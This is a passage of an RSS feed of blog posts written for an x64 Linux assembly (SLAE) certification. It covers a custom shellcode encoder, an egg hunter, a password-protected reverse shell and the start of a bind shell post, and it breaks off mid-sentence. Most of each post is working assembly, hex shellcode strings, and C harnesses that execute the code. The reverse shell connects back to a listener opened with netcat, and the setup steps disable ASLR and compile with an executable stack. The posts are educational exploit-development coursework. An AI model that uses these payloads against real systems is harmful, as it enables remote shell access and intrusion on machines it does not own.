0x0a<br>    je encoded_shellcode<br>    loop decode</pre><pre>    jmp encoded_shellcode</pre><pre>find_address:<br>    call decoder<br>    encoded_shellcode: db 0x3e,0x27,0xb6,0x46,0x3e,0xb1,0x25,0x58,0x5f,0x64,0x25,0x25,0x69,0x5e,0x49,0x3e,0x7f,0xdd,0x46,0x3e,0x7f,0xd8,0x4d,0x3e,0x7f,0xdc,0x3e,0x79,0xb6,0x31,0x05,0xfb,0x0a</pre><p>To obtain the final payload, perform the following:</p><pre>nasm -f elf64 SUB_decoder_stub.nasm</pre><pre>ld SUB_decoder_stub.o -o SUB_decoder_stub</pre><pre>for i in $(objdump -D SUB_decoder_stub | grep &quot;^ &quot;|cut -f2); do echo -n &#39;\\x&#39;$i; done; echo</pre><p>This will result in the following decoder stub with the encrypted payload:</p><pre>\xeb\x16\x5f\x48\x31\xc9\x80\xc1\x3c\x80\x07\x0a\x48\xff\xc7\x80\x3f\x0a\x74\x09\xe2\xf3\xeb\x05\xe8\xe5\xff\xff\xff\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a</pre><h3>Results</h3><p>Add the generated payload into a C harness like so:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\xeb\x16\x5f\x48\x31\xc9\x80\xc1\x3c\x80\x07\x0a\x48\xff\xc7\x80\x3f\x0a\x74\x09\xe2\xf3\xeb\x05\xe8\xe5\xff\xff\xff\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a&quot;;</pre><pre>int main()<br>{<br>    int (*ret)() = (int(*)())code;<br>    ret();<br>    return 0;<br>}</pre><p>Compile it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><p>And execute it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*pz1SNLegv8GuVOHgCZs_vA.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment4-CustomEncoder"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b2bc6a7894a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 3: Egg Hunter]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-3-egg-hunter-7b56352c9df?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b56352c9df</guid>
            <category><![CDATA[slae64]]></category>
            <category><![CDATA[64-bit]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 20:56:12 GMT</pubDate>
            <atom:updated>2019-12-01T20:56:12.540Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 3: Egg Hunter</h3><p>The third assignment for the x64 SLAE examination is to create an egg hunter that successfully can identify shellcode within an application’s virtual address space.</p><h3>Introduction</h3><p>In order to tackle this assessment the help of the de facto egg hunter whitepaper by Skape was leveraged. That can be found <a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf">here</a>.</p><p>The paper details various egg hunter implementations and their pros and cons. While writing up the x86 SLAE exam, the sigaction egg hunter was leveraged. In order to change things up, an access egg hunter will be created. Skape has assessed the pros and cons as follows:</p><p><strong>Pros:</strong></p><blockquote>The positive aspects of this implementation are that it’s very robust. There should be no conditions where it would fail excluding some sort of aggressive prevention mechanisms that are as of yet unimplemented. The implementation is also reasonably small at 39bytes, but there is much room for improvement.Aside from this, <strong>the payload definitely meets the requirements for speed</strong>.</blockquote><p><strong>Cons:</strong></p><blockquote>The negative aspects of this implementation are mainly associated with its size.Many of the portions, as will be seen in subsequent implementations, are unnecessary and can be optimized away. Another concern with this implementation is that the egg has to be executable, thus limiting the range of unique eggs that can be used when searching.</blockquote><p>In summary, an access egg hunter is designed to be fast at the cost of shellcode length. As indicated later in this write-up, there were problems with the large memory space the egg hunter needs to navigate. Therefore, it makes sense to leverage an egg hunter that was designed with speed in mind.</p><p>While the egg hunter can be customized to search for any 4 bytes, a simple string will be leveraged (“\x43\x43\x43\x43”). To use this egg hunter with any shellcode, simply prepend the desired shellcode with the egg as shown below:</p><pre>&quot;\x43\x43\x43\x43&quot; + &quot;\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05&quot;</pre><p><em>Note: the shellcode used in this example is a simple x64 execve(“/bin/sh”) shellcode</em></p><h3>Egg Hunter Shellcode</h3><p>Now, the whitepaper does provide some sample assembly of what an egg hunter might look like. However, this shellcode only works for 32-bit systems so some modifications must be made. The original shellcode can be found below:</p><pre>xor edx,edx  <br>or dx,0xfff  <br>inc edx  <br>lea ebx,[edx+0x4]  <br>push byte +0x21  <br>pop eax  <br>int 0x80  <br>cmp al,0xf2  <br>jz 0x2  <br>mov eax,0x50905090<br>mov edi,edx  <br>scasd              <br>jnz 0x7<br>scasd<br>jnz 0x7  <br>jmp edi</pre><p>Not only has the shellcode been updated to work on 64-bit systems but optimizations have also been added. The shellcode works as follows:</p><ol><li>start: initial registers are cleared</li><li>next_page: the egg hunter enumerates pages by clearing the lower bits of rdx</li><li>next_address: the egg hunter loops through the memory addresses one by one</li><li>determine_access: the system call number is loaded into rax, with the memory address the egg hunter wants to access. If this system call succeeds, the shellcode will search each address within the page, otherwise jump to the next page.</li><li>determine_access con’t: for each address in the page, the shellcode will check if it’s found the egg (which is dynamically created in memory to ensure the egg hunter doesn’t find itself). If the egg is found, the shellcode is executed.</li></ol><p>The updated shellcode can be found below:</p><pre>global _start</pre><pre>section .text</pre><pre>_start:<br>  ; Clearing registers<br>  xor rdx,rdx<br>  mov rsi, rdx</pre><pre>; enumerate pages<br>next_page:<br>  or dx, 0x0fff</pre><pre>; enumerate addresses in page<br>next_address:<br>  inc rdx</pre><pre>; determine if we can access page<br>determine_access:<br>  lea rdi, [rdx + 8]<br>  xor rax, rax<br>  add rax, 0x15<br>  syscall<br>  cmp al, 0xf2<br>  jz next_page</pre><pre>; check if we found egg<br>  mov eax, 0x43434342<br>  inc eax<br>  scasd<br>  jne next_address<br>  jmp rdi</pre><p>Compile the shellcode with the following commands:</p><pre>nasm -f elf64 egg_hunter.nasm</pre><pre>ld egg_hunter.o -o egg_hunter</pre><pre>for i in $(objdump -D egg_hunter | grep &quot;^ &quot;|cut -f2); do echo -n &#39;\\x&#39;$i; done; echo</pre><p>This will result in the following payload:</p><pre>\x48\x31\xd2\x48\x89\xd6\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\x48\x83\xc0\x15\x0f\x05\x3c\xf2\x74\xe7\xb8\x42\x43\x43\x43\xff\xc0\xaf\x75\xe2\xff\xe7</pre><h3>Problems</h3><p>During the development of the egg hunter, a problem arose. That problem was that the egg hunter would never find the execve shellcode. Hours and hours of debugging later the problem was identified. The address of the shellcode was printed:</p><pre>Shellcode memory address:  0x555555558080</pre><p>That address space is huge. Attempting to wait for the egghunter to find the egg would take a long time, making debugging a nightmare. So to make things a little easier two configurations were made:</p><ol><li>ASLR was turned off</li></ol><pre># Turn ASLR off.<br>sudo su<br>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</pre><pre># When finished debugging execute the following to turn ASLR on<br>sudo su<br>echo 2 | sudo tee /proc/sys/kernel/randomize_va_space</pre><p>2. The base address of the shellcode was hard coded into the egghunter</p><pre>_start:<br>  ; Clearing registers<br>  xor rdx,rdx<br>  mov rsi, rdx<br>  mov rdx, 0x555500000000</pre><p>After successfully debugging the egg hunter, it should now work without the help.</p><h3>Execution</h3><p>With the egg hunter ready and the payload (with the egg to hunt), the final application can be built. This looks as follows:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>unsigned char egghunter[] = \<br>&quot;\x48\x31\xd2\x48\x89\xd6\x48\xba\x00\x00\x00\x55\x55\x55\x00\x00\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\x48\x83\xc0\x15\x0f\x05\x3c\xf2\x74\xe7\xb8\x42\x43\x43\x43\xff\xc0\xaf\x75\xe2\xff\xe7&quot;;</pre><pre>unsigned char code[] = \<br>&quot;\x43\x43\x43\x43\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05&quot;;</pre><pre>int main()<br>{<br>   printf(&quot;Shellcode memory address:  %p\n&quot;, code);</pre><pre>   int (*ret)() = (int(*)())egghunter;<br>   ret();<br>   return 0;<br>}</pre><p>Compile the above code with the following and execute it. The egg hunter will find the egg and execute the shellcode:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*PkiahL-1bSac7oGpg8Y7dQ.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment3-EggHunter"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b56352c9df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 2: Reverse Shell]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-2-reverse-shell-c4b0ace4e34e?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4b0ace4e34e</guid>
            <category><![CDATA[lin]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[slae64]]></category>
            <category><![CDATA[64-bit]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 20:53:19 GMT</pubDate>
            <atom:updated>2019-12-01T20:53:19.510Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 2: Reverse Shell</h3><p>The second assignment for the x64 SLAE exam involves creating shellcode that will create an authenticated reverse shell when executed. Reverse shells will connect back to an attacker at a predefined IP address and port. This specific reverse shell will require a password to be validated before returning a shell. The steps to create reverse shell shellcode are as follows:</p><ol><li>Create socket</li><li>Connect to a host</li><li>Read and validate password</li><li>Redirect STDIN, STDOUT, and STDERR</li><li>Execute received commands</li></ol><h3>Create socket</h3><p>Before anything else, a socket must be created. The underlying system call that creates a socket is sys_socket. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_socket</pre><pre>   rax -&gt; system call number (41 or 0x29)</pre><pre>   rdi -&gt; socket family (0x02)</pre><pre>   rsi -&gt; type of socket (0x01)</pre><pre>   rdx -&gt; protocol (0x00)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>socket:<br>   ; rax -&gt; 41<br>   push 0x29<br>   pop rax</pre><pre>   ; rdi -&gt; 2<br>   push 0x02<br>   pop rdi</pre><pre>   ; rsi -&gt; 1<br>   push 0x01<br>   pop rsi</pre><pre>   ; rdx -&gt; 0<br>   xor edx, edx</pre><pre>   ; execute system call<br>   syscall</pre><pre>   ; save file descriptor<br>   mov r9, rax</pre><h3>Connect</h3><p>Once the initial socket has been created, the shellcode must connect to a given host that’s listening in order to receive commands. To achieve this connect, <em>sys_</em>connect must be leveraged. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_socket</pre><pre>   rax -&gt; system call number (42 or 0x2a)</pre><pre>   rdi -&gt; file descriptor (retrieved from socket syscall)</pre><pre>   rsi -&gt; struct sockaddr *uservaddr (created on stack)</pre><pre>   rdx -&gt; address length (16 or 0x10)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>connect:<br>   ; rax -&gt; 42<br>   push 0x2a<br>   pop rax</pre><pre>   ; rdi -&gt; fd<br>   mov rdi, r9</pre><pre>   ; creating sockaddr data structure<br>   push rdx         ; pushing padding<br>   push rdx         ; pushing padding<br>   push 0x0101017f  ; pushing INADDR_ANY (127.0.0.1)<br>   push word 0x901f ; pushing PORT (8080)<br>   push word 0x02   ; pushing AF_INET (2)</pre><pre>   ; rsi -&gt; address of sockaddr data structure<br>   mov rsi, rsp</pre><pre>   ; rdx -&gt; 16<br>   add rdx, 0x10</pre><pre>   ; execute system call<br>   syscall</pre><h3>Read and validate password</h3><p>In order to authenticate that the proper user is leveraging the reverse shell, the password is first read with sys_read then the retrieved password is compared with a hardcoded password. If the retrieved password matches the hardcoded one, the user will be able to execute commands against the target host.</p><p>The system call arguments to execute read are as follows:</p><pre>sys_read</pre><pre>   rax -&gt; system call number (0 or 0x00)</pre><pre>   rdi -&gt; int fd to read from (the socket file descriptor)</pre><pre>   rsi -&gt; pointer to store what is read (the stack)</pre><pre>   rdx -&gt; how many bytes to read (slightly larger than our password)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The full shellcode with the read and string compare is as follows:</p><pre>authenticate:<br>   ; read<br>   mov rax, rsi</pre><pre>   ; rdi -&gt; fd<br>   mov rdi, r9</pre><pre>   ; rsi -&gt; allocated room on stack<br>   sub rsp, 0x10<br>   mov rsi, rsp</pre><pre>   ; rdx -&gt; bytes to read (8)<br>   mov rdx, 0x10</pre><pre>   ; execute system call<br>   syscall</pre><pre>   ; compare</pre><pre>   ; rax -&gt; hardcoded password (&quot;1234567\n&quot;)<br>   mov rax, 0x0a37363534333231</pre><pre>   ; rdi -&gt; supplied password<br>   mov rdi, rsi</pre><pre>   ; compare rax and rdi<br>   scasq</pre><pre>   ; if not match then jump to finished<br>   jne finish</pre><h3>Redirect STDIN, STDOUT, and STDERR</h3><p>STDIN/OUT/ERR need to be redirected to the reverse shell so the shellcode can send back the results of their command. The dup2 system call must be leveraged. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_dup2</pre><pre>   rax -&gt; system call number (33 or 0x21)</pre><pre>   rdi -&gt; old file descriptor</pre><pre>   rsi -&gt; new file descriptor</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>file_descriptors:</pre><pre>   ; rsi -&gt; 2<br>   push 0x02<br>   pop rsi</pre><pre>   ; rdi -&gt; file descriptor<br>   mov rdi, r9</pre><pre>   loop:<br>     ; rax -&gt; 33<br>     push 0x21<br>     pop rax</pre><pre>     ; execute system call<br>     syscall</pre><pre>     ; decrement file descriptor<br>     dec rsi</pre><pre>     ; repeat<br>     jns loop</pre><h3>Execute commands within the incoming connections</h3><p>Last but not least, we need to take the incoming commands that we receive and execute them. This is performed with the execve system call. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_execve</pre><pre>   rax -&gt; system call number (59 or 0x3b)</pre><pre>   rdi -&gt; const char *filename (&quot;//bin/sh&quot;)</pre><pre>   rsi -&gt;  const char *const argv[](&quot;//bin/sh&quot;, &quot;//bin/sh&quot;, 0)</pre><pre>   rdx -&gt; const char *const envp[] (0 or 0x00)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>execute:</pre><pre>   ; move null (0) to stack<br>   xor rdx, rdx<br>   push rdx</pre><pre>   ; rbx -&gt; &#39;//bin/sh&#39;[::-1].encode(&#39;Hex&#39;)<br>   mov rbx, 0x68732f6e69622f2f</pre><pre>   ; moving RBX to the stack<br>   push rbx</pre><pre>   ; rdi -&gt; address of &#39;//bin/sh&#39;[::-1].encode(&#39;Hex&#39;)<br>   mov rdi, rsp</pre><pre>   ; move null (0) to stack<br>   push rdx</pre><pre>   ; rsi -&gt; address of argv struct<br>   push rdi<br>   mov rsi, rsp</pre><pre>   ; rax -&gt; 59<br>   push 0x3b<br>   pop rax</pre><pre>   ; execute system call<br>   syscall</pre><h3>Results</h3><p>Compile the shellcode with the following commands:</p><pre>nasm -f elf64 reverse.nasm</pre><pre>ld reverse.o -o reverse</pre><pre>for i in $(objdump -D reverse | grep &quot;^ &quot;|cut -f2); do echo -n &#39;\\x&#39;$i; done; echo</pre><p>And it will output the following shellcode:</p><pre>&quot;\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x49\x89\xc1\x6a\x2a\x58\x4c\x89\xcf\x52\x52\x68\x7f\x01\x01\x01\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05&quot;</pre><p>Place the above shellcode in a C harness like so:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x49\x89\xc1\x6a\x2a\x58\x4c\x89\xcf\x52\x52\x68\x7f\x01\x01\x01\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05&quot;;</pre><pre>int main()<br>{<br>   int (*ret)() = (int(*)()) code;<br>   ret();<br>   return 0;<br>}</pre><p>Compile it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><p>And execute it while listening with netcat (nc -lvnp 8080). Once connected provide the password “1234567” and the shell will be received:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*KxFidtKARFdvzzMqoO42OA.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment2-ReverseShell"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4b0ace4e34e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 1: Bind Shell]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-1-bind-shell-b48079637789?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/b48079637789</guid>
            <category><![CDATA[64-bit]]></category>
            <category><![CDATA[slae64]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[shellcode]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 20:49:33 GMT</pubDate>
            <atom:updated>2019-12-01T20:49:33.136Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 1: Bind Shell</h3><p>The first assignment for the x64 SLAE exam involves creating shellcode that will create a bind shell with authentication when executed. Bind shells listen on a designated port for incoming connections with commands to execute. The difference with a typical bind shell and one created here is that this one requires authentication (i.e. a specific password to be received) before it can be used. The steps to create bind shell shellcode with authentication are as follows:</p><ol><li>Create socket</li><li>Bind socket to a port</li><li>Start listening for incoming connections</li><li>Accept incoming connections</li><li>Read and validate password</li><li>Redirect STDIN, STDOUT, and STDERR</li><li>Execute commands within the incoming connections</li></ol><h3>Create socket</h3><p>Before anything else, a socket must be created. The underlying system call that creates a socket is sys_socket. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_socket</pre><pre>    rax -&gt; system call number (41 or 0x29)</pre><pre>    rdi -&gt; socket family (0x02)</pre><pre>    rsi -&gt; type of socket (0x01)</pre><pre>    rdx -&gt; protocol (0x00)</pre><pre><br>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>socket:<br>   ; rax -&gt; 41<br>   push 0x29<br>   pop rax</pre><pre>   ; rdi -&gt; 2<br>   push 0x02<br>   pop rdi</pre><pre>   ; rsi -&gt; 1<br>   push 0x01<br>   pop rsi</pre><pre>   ; rdx -&gt; 0<br>   xor edx, edx</pre><pre>   ; execute system call<br>   syscall</pre><h3>Bind socket to a port</h3><p>Next, the socket needs to be bound to a given port. To do this, the sys_bind system call will be leveraged. These arguments are as follows:</p><pre>sys_bind</pre><pre>   rax -&gt; system call number (49 or 0x31)</pre><pre>   rdi -&gt; socket file descriptor (saved from socket syscall)</pre><pre>   rsi -&gt; struct sokaddr *umyaddr (indicating port 8080 is used)</pre><pre>   rdx -&gt; sokaddr length (16 or 0x10)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>bind:<br>   ; rdi -&gt; socket file descriptor<br>   mov rdi, rax</pre><pre>   ; rax -&gt; 49<br>   push 0x31<br>   pop rax</pre><pre>   ; creating sockaddr data structure<br>   push rdx         ; pushing padding<br>   push rdx         ; pushing INADDR_ANY (0)<br>   push word 0x901f ; pushing PORT (8080)<br>   push word 0x02   ; pushing AF_INET (2)</pre><pre>   ; rsi -&gt; address of sockaddr data structure<br>   mov rsi, rsp</pre><pre>   ; rdx -&gt; 16<br>   add rdx, 0x10</pre><pre>   ; execute system call<br>   syscall</pre><h3>Start listening for incoming connections</h3><p>Now that the socket has been bound to a port, a listener needs to be setup. The<em> s</em>ys_listen system call will be leveraged. To execute this system call the following arguments need to be moved into their respective registers:</p><pre>sys_listen</pre><pre>   rax -&gt; system call number (50 or 0x32)</pre><pre>   rdi -&gt; socket file descriptor (saved from socket syscall)</pre><pre>   rsi -&gt; backlog (0 or 0x00)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>listen:<br>   ; rax -&gt; 50<br>   push 0x32<br>   pop rax</pre><pre>   ; rdi -&gt; already setup</pre><pre>   ; rsi -&gt; 0<br>   xor rsi, rsi</pre><pre>   ; execute system call<br>   syscall</pre><h3>Accept incoming connections</h3><p>With a socket listening for incoming connections the bind shell has to execute another function to accept them. <em>sys_accept </em>will be leveraged for this. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_accept</pre><pre>   rax -&gt; system call number (43 or 0x2b)</pre><pre>   rdi -&gt; socket file descriptor (saved from socket syscall)</pre><pre>   rsi -&gt; struct sokaddr *umyaddr</pre><pre>   rdx -&gt; int *upeer_addrlen (saved from previous syscall)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>accept:<br>   ; rax -&gt; 43<br>   push 0x2b<br>   pop rax</pre><pre>   ; rdi &amp; rsi -&gt; already setup</pre><pre>   ; rdx -&gt; 0<br>   mov rdx, rsi</pre><pre>   ; execute system call<br>   syscall</pre><pre>   ; save fd<br>   mov r9, rax</pre><h3>Read and validate password</h3><p>In order to authenticate that the proper user is leveraging the bind shell, the password is first read with sys_read then the retrieved password is compared with a hardcoded password. If the retrieved password matches the hardcoded one, the user will be able to execute commands against the target host.</p><p>The system call arguments to execute read are as follows:</p><pre>sys_read</pre><pre>   rax -&gt; system call number (0 or 0x00)</pre><pre>   rdi -&gt; int fd to read from (the socket file descriptor)</pre><pre>   rsi -&gt; pointer to store what is read (the stack)</pre><pre>   rdx -&gt; how many bytes to read (slightly larger than our password)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The full shellcode with the read and string compare is as follows:</p><pre>authenticate:<br>   ; read<br>   mov rax, rsi</pre><pre>   ; rdi -&gt; fd<br>   mov rdi, r9</pre><pre>   ; rsi -&gt; allocated room on stack<br>   sub rsp, 0x10<br>   mov rsi, rsp</pre><pre>   ; rdx -&gt; bytes to read (8)<br>   mov dl, 0x10</pre><pre>   ; execute system call<br>   syscall</pre><pre>   ; compare</pre><pre>   ; rax -&gt; hardcoded password (&quot;1234567\n&quot;)<br>   mov rax, 0x0a37363534333231</pre><pre>   ; rdi -&gt; supplied password<br>   mov rdi, rsi</pre><pre>   ; compare rax and rdi<br>   scasq</pre><pre>   ; if not match then jump to finished<br>   jne finish</pre><h3>Redirect STDIN, STDOUT, and STDERR</h3><p>Having successfully set the bind shell to accept incoming connections, STDIN/OUT/ERR need to be redirected to the bind shell so the receiver can interpret the results of their command. The dup2 system call must be leveraged. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_dup2</pre><pre>   rax -&gt; system call number (33 or 0x21)</pre><pre>   rdi -&gt; old file descriptor</pre><pre>   rsi -&gt; new file descriptor</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>file_descriptors:</pre><pre>   ; rsi -&gt; 2<br>   push 0x02<br>   pop rsi</pre><pre>   ; rdi -&gt; file descriptor<br>   mov rdi, r9</pre><pre>   loop:<br>     ; rax -&gt; 33<br>     push 0x21<br>     pop rax</pre><pre>     ; execute system call<br>     syscall</pre><pre>     ; decrement file descriptor<br>     dec rsi</pre><pre>     ; repeat<br>     jns loop</pre><h3>Execute commands within the incoming connections</h3><p>Last but not least, we need to take the incoming commands that we receive and execute them. This is performed with the execve system call. To execute this system call we need to move the following arguments into their respective registers:</p><pre>sys_execve</pre><pre>   rax -&gt; system call number (59 or 0x3b)</pre><pre>   rdi -&gt; const char *filename (&quot;//bin/sh&quot;)</pre><pre>   rsi -&gt;  const char *const argv[](&quot;//bin/sh&quot;, &quot;//bin/sh&quot;, 0)</pre><pre>   rdx -&gt; const char *const envp[] (0 or 0x00)</pre><pre>For more information see the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 Linux Syscall Reference</a> page</pre><p>The assembly to setup and call this function is:</p><pre>execute:</pre><pre>   ; move null (0) to stack<br>   xor rdx, rdx<br>   push rdx</pre><pre>   ; rbx -&gt; &#39;//bin/sh&#39;[::-1].encode(&#39;Hex&#39;)<br>   mov rbx, 0x68732f6e69622f2f</pre><pre>   ; moving RBX to the stack<br>   push rbx</pre><pre>   ; rdi -&gt; address of &#39;//bin/sh&#39;[::-1].encode(&#39;Hex&#39;)<br>   mov rdi, rsp</pre><pre>   ; move null (0) to stack<br>   push rdx</pre><pre>   ; rsi -&gt; address of argv struct<br>   push rdi<br>   mov rsi, rsp</pre><pre>   ; rax -&gt; 59<br>   push 0x3b<br>   pop rax</pre><pre>   ; execute system call<br>   syscall</pre><h3>Results</h3><p>Compile the shellcode with the following commands:</p><pre>nasm -f elf64 bind.nasm</pre><pre>ld bind.o -o bind </pre><pre>for i in $(objdump -D bind | grep &quot;^ &quot;|cut -f2); do echo -n &#39;\\x&#39;$i; done; echo</pre><p>And it will output the following 